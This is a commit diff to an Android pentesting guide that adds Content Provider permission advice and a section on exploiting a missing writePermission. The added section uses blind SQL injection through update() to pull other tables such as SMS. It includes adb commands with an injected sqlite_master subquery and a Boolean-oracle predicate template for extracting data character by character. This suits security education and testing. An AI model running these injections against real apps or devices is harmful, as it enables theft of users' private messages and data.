You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/mobile-pentesting/android-app-pentesting/android-applications-basics.md
+11Lines changed: 11 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -322,6 +322,12 @@ To understand a receiver's functionality, look for the **`onReceive`** method wi
322
322
323
323
Input validation is paramount to prevent vulnerabilities, such as SQL injection. Content Providers support basic operations: `insert()`, `update()`, `delete()`, and `query()`, facilitating data manipulation and sharing among applications.
324
324
325
+
### Permission semantics and pitfalls (Content Providers)
326
+
327
+
- If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider.
328
+
- Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates.
329
+
- Prefer android:exported="false" unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern.
330
+
325
331
**FileProvider**, a specialized Content Provider, focuses on sharing files securely. It is defined in the app's manifest with specific attributes to control access to folders, denoted by `android:exported` and `android:resource` pointing to folder configurations. Caution is advised when sharing directories to avoid exposing sensitive data inadvertently.
Copy file name to clipboardExpand all lines: src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
+97Lines changed: 97 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -157,6 +157,98 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not
157
157
sqlite_sequence
158
158
```
159
159
160
+
### writePermission omission + blind SQLi via update()
161
+
162
+
A common OEM mistake is to export a ContentProvider with a readPermission but omit writePermission. When writePermission is null, any app can call insert/update/delete if those methods are implemented. If update() concatenates the caller-controlled WHERE (selection) directly into an SQL statement, you can build a blind inference oracle and exfiltrate data from other tables in the same SQLite DB (even those normally protected by privileged read permissions like READ_SMS).
- Look for providers with readPermission set but writePermission missing
175
+
- Confirm update() is implemented and selection is injectable (projection/selection/sortOrder often are; update() selection is commonly overlooked)
176
+
177
+
Co-location and schema probe (adb)
178
+
Use sqlite_master to verify the target table exists in the same DB file:
179
+
180
+
```bash
181
+
adb shell cmd content query \
182
+
--uri content://service-number/service_number \
183
+
--where '(SELECT COUNT(*) FROM (SELECT tbl_name FROM sqlite_master WHERE tbl_name = "sms"))>0'
184
+
```
185
+
186
+
Seeding a row (if needed)
187
+
If update() returns 0 because the provider’s table is empty, insert a dummy row first. Many OEM providers accept arbitrary ContentValues with no validation:
188
+
189
+
```bash
190
+
adb shell cmd content insert \
191
+
--uri content://service-number/service_number \
192
+
--bind hash_number:s:dummy
193
+
```
194
+
195
+
Blind Boolean oracle via update()
196
+
- Predicate template: 1=1 AND unicode(substr((<subquery>), <idx>, 1)) BETWEEN <lo> AND <hi>
197
+
- TRUE if update() > 0 or a UNIQUE constraint exception is thrown; FALSE otherwise
198
+
- Binary search [0..127] to recover each character
0 commit comments